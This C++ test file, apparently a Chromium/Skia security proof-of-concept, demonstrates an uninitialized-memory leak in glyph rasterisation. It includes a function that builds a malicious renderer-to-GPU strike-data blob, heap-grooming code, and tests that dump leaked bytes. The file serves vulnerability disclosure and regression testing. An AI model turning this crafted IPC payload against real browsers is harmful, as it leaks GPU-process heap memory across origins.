// Copyright 2026 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifdef UNSAFE_BUFFERS_BUILD
// This is a security POC that intentionally inspects raw byte buffers.
#pragma allow_unsafe_buffers
#pragma allow_unsafe_libc_calls
#endif
//
// Proof-of-concept for an uninitialized-memory disclosure (CWE-908) in
// SkScalerContext::GenerateImageFromPath when invoked with a glyph mask of
// kARGB32_Format.
//
// In release builds, the SkASSERTs at SkScalerContext.cpp:511-513 and
// 646-647 that exclude kARGB32_Format are compiled out. A compromised
// renderer can drive the GPU process into this state via
// SkStrikeClient::readStrikeData by sending:
//   - an SkDescriptor whose SkScalerContextRec.fFrameWidth >= 0 (so the
//     resulting SkScalerContextProxy sets fGenerateImageFromPath = true), and
//   - a path-glyph whose fMaskFormat == kARGB32_Format.
// When the glyph is later rasterised for the atlas, the GPU process calls
// SkGlyph::setImage -> allocImage (4*W*H uninitialized arena bytes) ->
// SkScalerContext::getImage -> GenerateImageFromPath. That function wraps the
// ARGB32 image buffer in an A8 SkPixmap with rowBytes = 4*W and zeroes only
// SkImageInfo::computeByteSize() = (H-1)*4W + W bytes, leaving the trailing
// 3*W bytes of the 4*W*H allocation uninitialized. Those bytes are then
// memcpy'd into the cross-origin glyph-atlas texture.
//
// This file contains two tests:
//   1. CoreLeak  - directly demonstrates that GenerateImageFromPath leaves
//                   the trailing 3*W bytes untouched (deterministic; uses a
//                   pre-filled magic-pattern buffer that simulates
//                   uninitialized arena memory).
//   2. RemotePath - demonstrates reachability from renderer-controlled
//                   readStrikeData input through SkStrike::prepareImages.

#include <cstdint>
#include <cstring>
#include <vector>

#include "testing/gtest/include/gtest/gtest.h"

#include "include/core/SkData.h"
#include "include/core/SkFontMetrics.h"
#include "include/core/SkPath.h"
#include "include/core/SkRect.h"
#include "include/core/SkRefCnt.h"
#include "include/core/SkSerialProcs.h"
#include "include/private/chromium/SkChromeRemoteGlyphCache.h"
#include "src/core/SkDescriptor.h"
#include "src/core/SkFontMetricsPriv.h"
#include "src/core/SkGlyph.h"
#include "src/core/SkMask.h"
#include "src/core/SkScalerContext.h"
#include "src/core/SkStrike.h"
#include "src/core/SkStrikeCache.h"
#include "src/core/SkStrikeSpec.h"
#include "src/core/SkTypeface_remote.h"
#include "src/core/SkWriteBuffer.h"

namespace {

// ---------------------------------------------------------------------------
// Helper to reach the protected static SkScalerContext::GenerateImageFromPath.
// This class is never instantiated (SkScalerContext is abstract); we only use
// its static helper.
struct ScalerAccess : public SkScalerContext {
  static void Call(SkMaskBuilder& mask, const SkPath& path) {
    SkScalerContext::GenerateImageFromPath(mask, path,
                                           SkMaskGamma::PreBlend(),
                                           /*doBGR=*/false,
                                           /*verticalLCD=*/false,
                                           /*a8FromLCD=*/false,
                                           /*hairline=*/false);
  }
};

constexpr uint8_t kMagic = 0xAB;

void DumpRegion(const char* label, const uint8_t* p, size_t off, size_t len) {
  fprintf(stderr, "[POC] %s bytes [%zu,%zu): ", label, off, off + len);
  for (size_t i = 0; i < len && i < 32; ++i) {
    fprintf(stderr, "%02x ", p[off + i]);
  }
  if (len > 32) fprintf(stderr, "...");
  fprintf(stderr, "\n");
}

// ---------------------------------------------------------------------------
// Part 1: deterministic core-bug proof.
//
// Reproduces the exact arithmetic from SkScalerContext.cpp:566-578 by handing
// GenerateImageFromPath a pre-filled "uninitialized" 4*W*H buffer with
// kARGB32_Format. After the call, the trailing 3*W bytes still contain the
// magic pattern, proving they were never zeroed or overwritten.
TEST(GlyphUninitPOC, CoreLeak) {
  constexpr int W = 64;
  constexpr int H = 4;
  constexpr size_t kRowBytes = 4u * W;                  // ARGB32 rowBytes
  constexpr size_t kImageSize = kRowBytes * H;          // = 1024
  constexpr size_t kZeroed = (H - 1) * kRowBytes + W;   // = 832
  constexpr size_t kLeak = kImageSize - kZeroed;        // = 192 (== 3*W)

  // Simulate the uninitialized SkArenaAlloc bytes that allocImage() returns.
  std::vector<uint8_t> buf(kImageSize, kMagic);

  // Any non-empty path; bounds are translated to the mask origin. Keep it tiny
  // so drawPath only touches the first A8 column of each row at most.
  SkPath path = SkPath::Rect(SkRect::MakeXYWH(0, 0, 1, 1));

  SkMaskBuilder mask(buf.data(), SkIRect::MakeWH(W, H), kRowBytes,
                     SkMask::kARGB32_Format);
  ScalerAccess::Call(mask, path);

  // Count how many of the trailing 3*W bytes still hold the pre-fill pattern.
  size_t survived = 0;
  for (size_t i = kZeroed; i < kImageSize; ++i) {
    if (buf[i] == kMagic) ++survived;
  }
  // The byte just before the leak window must have been zeroed by sk_bzero.
  const uint8_t boundary_before = buf[kZeroed - 1];

  fprintf(stderr,
          "[POC] CoreLeak: imageSize=%zu zeroed=%zu leakWindow=%zu "
          "magicSurvived=%zu boundaryBeforeLeak=0x%02x\n",
          kImageSize, kZeroed, kLeak, survived, boundary_before);
  DumpRegion("CoreLeak trailing", buf.data(), kZeroed, kLeak);

  // sk_bzero cleared up to (and including) byte kZeroed-1.
  EXPECT_EQ(0u, boundary_before);
  // VULNERABILITY: every byte in [kZeroed, kImageSize) is still 0xAB.
  EXPECT_EQ(0u, survived)
      << "CWE-908 CONFIRMED: GenerateImageFromPath(kARGB32_Format) left "
      << survived << " of " << kLeak
      << " trailing bytes uninitialized (== 3*W).";
}

// ---------------------------------------------------------------------------
// Part 2: full remote-glyph-cache reachability proof.
//
// Builds the exact wire format that a compromised renderer would send to the
// GPU process via gpu::ServiceFontManager::Deserialize ->
// SkStrikeClient::readStrikeData. The crafted descriptor has fFrameWidth = 0
// so the GPU-side SkScalerContextProxy sets fGenerateImageFromPath = true, and
// the crafted glyph has fMaskFormat = kARGB32_Format with a non-empty path but
// no image. We then trigger the GPU-side rasterisation path
// (SkStrike::prepareImages, the same call made by GlyphData::regenerateAtlas)
// and inspect the resulting glyph image buffer.
//
// To make the uninitialized bytes observable without MSAN we run with
// ASAN_OPTIONS=max_malloc_fill_size=1048576 so that SkArenaAlloc's
// sk_malloc_throw'd block is filled with the ASAN malloc_fill_byte (0xbe),
// which then appears verbatim in the trailing 3*W bytes of the glyph image.

class FakeDHM : public SkStrikeClient::DiscardableHandleManager {
 public:
  bool deleteHandle(SkDiscardableHandleId) override { return false; }
  void notifyCacheMiss(SkStrikeClient::CacheMissType, int) override {}
};

constexpr int kW = 200;
constexpr int kH = 4;
constexpr SkTypefaceID kServerTypefaceID = 0x65000000u;
constexpr uint32_t kPackedGlyphID = 0x42u;

sk_sp<SkData> BuildMaliciousStrikeData() {
  SkBinaryWriteBuffer buffer{nullptr, 0, SkSerialProcs{}};

  // --- typefaces ---
  buffer.writeInt(1);  // typefaceCount
  // SkTypefaceProxyPrototype::flatten layout:
  buffer.writeUInt(kServerTypefaceID);  // server typeface ID
  buffer.writeInt(256);                 // glyphCount
  buffer.write32(0);                    // styleValue
  buffer.writeBool(false);              // isFixedPitch
  buffer.writeBool(false);              // glyphMaskNeedsCurrentColor

  // --- strikes ---
  buffer.writeInt(1);                   // strikeCount
  buffer.writeUInt(kServerTypefaceID);  // serverTypefaceID
  buffer.writeUInt(1);                  // discardableHandleID

  // SkDescriptor with one kRec entry whose fFrameWidth == 0.
  {
    SkScalerContextRec rec;
    std::memset(&rec, 0, sizeof(rec));
    rec.fTypefaceID = kServerTypefaceID;
    rec.fTextSize = 16.0f;
    rec.fPreScaleX = 1.0f;
    rec.fPreSkewX = 0.0f;
    rec.fPost2x2[0][0] = 1.0f;
    rec.fPost2x2[1][1] = 1.0f;
    rec.fFrameWidth = 0.0f;            // *** triggers fGenerateImageFromPath
    rec.fMiterLimit = 0.0f;
    rec.fMaskFormat = SkMask::kA8_Format;
    SkAutoDescriptor ad{SkDescriptor::ComputeOverhead(1) + sizeof(rec)};
    SkDescriptor* desc = ad.getDesc();
    desc->addEntry(kRec_SkDescriptorTag, sizeof(rec), &rec);
    desc->computeChecksum();
    desc->flatten(buffer);
  }

  buffer.writeBool(false);  // fontMetricsInitialized == false -> metrics follow
  {
    SkFontMetrics fm;
    std::memset(&fm, 0, sizeof(fm));
    SkFontMetricsPriv::Flatten(buffer, fm);
  }

  // SkStrike::mergeFromBuffer layout: imagesCount, [images], pathsCount,
  // [paths], drawablesCount, [drawables].
  buffer.writeInt(0);  // imagesCount

  buffer.writeInt(1);  // pathsCount
  // SkGlyph::flattenMetrics layout:
  buffer.writeUInt(kPackedGlyphID);                        // packed ID
  buffer.writePoint(SkPoint::Make(static_cast<float>(kW), 0.0f));  // advance
  buffer.writeUInt((static_cast<uint32_t>(kW) << 16) | kH);        // dims
  buffer.writeUInt(0);                                     // left|top
  buffer.writeUInt(static_cast<uint32_t>(SkMask::kARGB32_Format));
  // SkGlyph::flattenPath layout:
  buffer.writeBool(true);   // hasPath
  buffer.writeBool(false);  // pathIsHairline
  buffer.writeBool(false);  // pathIsModified
  buffer.writePath(SkPath::Rect(SkRect::MakeXYWH(0, 0, 1, 1)));

  buffer.writeInt(0);  // drawablesCount

  return buffer.snapshotAsData();
}

TEST(GlyphUninitPOC, RemotePath) {
  // (a) Heap-groom: under ASAN, freshly malloc'd memory is filled with
  //     malloc_fill_byte (default 0xbe) up to max_malloc_fill_size. Run this
  //     test with ASAN_OPTIONS=max_malloc_fill_size=1048576 so the entire
  //     SkArenaAlloc block is patterned. Without ASAN, spray the heap so the
  //     reused block contains a recognisable pattern.
#if !defined(ADDRESS_SANITIZER)
  for (int i = 0; i < 32; ++i) {
    void* p = malloc(8192);
    std::memset(p, kMagic, 8192);
    free(p);
  }
#endif

  // (b) Renderer-side: craft the strike-data IPC blob.
  sk_sp<SkData> blob = BuildMaliciousStrikeData();
  ASSERT_TRUE(blob);
  fprintf(stderr, "[POC] RemotePath: crafted strike blob = %zu bytes\n",
          blob->size());

  // (c) GPU-side: deserialize exactly as ServiceFontManager does.
  SkStrikeCache cache;
  auto dhm = sk_make_sp<FakeDHM>();
  SkStrikeClient client(dhm, /*isLogging=*/false, &cache);
  ASSERT_TRUE(client.readStrikeData(blob->data(), blob->size()))
      << "readStrikeData rejected crafted blob";

  // (d) Reconstruct the GPU-side descriptor (typeface ID rewritten by
  //     translateTypefaceID) and look up the strike.
  SkScalerContextRec rec;
  std::memset(&rec, 0, sizeof(rec));
  rec.fTypefaceID = kServerTypefaceID;
  rec.fTextSize = 16.0f;
  rec.fPreScaleX = 1.0f;
  rec.fPost2x2[0][0] = 1.0f;
  rec.fPost2x2[1][1] = 1.0f;
  rec.fFrameWidth = 0.0f;
  rec.fMaskFormat = SkMask::kA8_Format;
  SkAutoDescriptor ad{SkDescriptor::ComputeOverhead(1) + sizeof(rec)};
  ad.getDesc()->addEntry(kRec_SkDescriptorTag, sizeof(rec), &rec);
  ad.getDesc()->computeChecksum();
  ASSERT_TRUE(client.translateTypefaceID(&ad));
  sk_sp<SkStrike> strike = cache.findStrike(*ad.getDesc());
  ASSERT_TRUE(strike) << "GPU-side strike not found in cache";

  // (e) Trigger SkStrike::prepareImages -> SkGlyph::setImage ->
  //     allocImage(4*W*H uninitialized arena bytes) ->
  //     SkScalerContextProxy::getImage -> GenerateImageFromPath(kARGB32).
  SkPackedGlyphID id{kPackedGlyphID};
  const SkGlyph* result = nullptr;
  strike->prepareImages(SkSpan<const SkPackedGlyphID>(&id, 1), &result);
  ASSERT_TRUE(result);
  ASSERT_TRUE(result->image());
  ASSERT_EQ(SkMask::kARGB32_Format, result->maskFormat());
  ASSERT_EQ(kW, result->width());
  ASSERT_EQ(kH, result->height());

  const size_t image_size = result->imageSize();          // 4*W*H
  const size_t row_bytes  = result->rowBytes();           // 4*W
  const size_t zeroed     = (kH - 1) * row_bytes + kW;    // computeByteSize(A8)
  ASSERT_EQ(4u * kW * kH, image_size);
  ASSERT_EQ(4u * kW, row_bytes);

  const uint8_t* img = static_cast<const uint8_t*>(result->image());
  size_t nonzero = 0;
  for (size_t i = zeroed; i < image_size; ++i) {
    if (img[i] != 0) ++nonzero;
  }
  fprintf(stderr,
          "[POC] RemotePath: imageSize=%zu zeroed=%zu leakWindow=%zu "
          "nonzeroLeakedBytes=%zu\n",
          image_size, zeroed, image_size - zeroed, nonzero);
  DumpRegion("RemotePath trailing", img, zeroed, image_size - zeroed);

  // sk_bzero cleared up to byte `zeroed-1`; verify the boundary.
  EXPECT_EQ(0u, img[zeroed - 1]);
  // VULNERABILITY: trailing 3*W bytes are uninitialized arena heap. Under
  // ASAN they appear as the malloc_fill_byte pattern (0xbe).
  EXPECT_EQ(0u, nonzero)
      << "CWE-908 CONFIRMED via remote-glyph-cache path: " << nonzero
      << " of " << (image_size - zeroed)
      << " trailing glyph-image bytes contain uninitialized GPU-process heap.";
}

}  // namespace
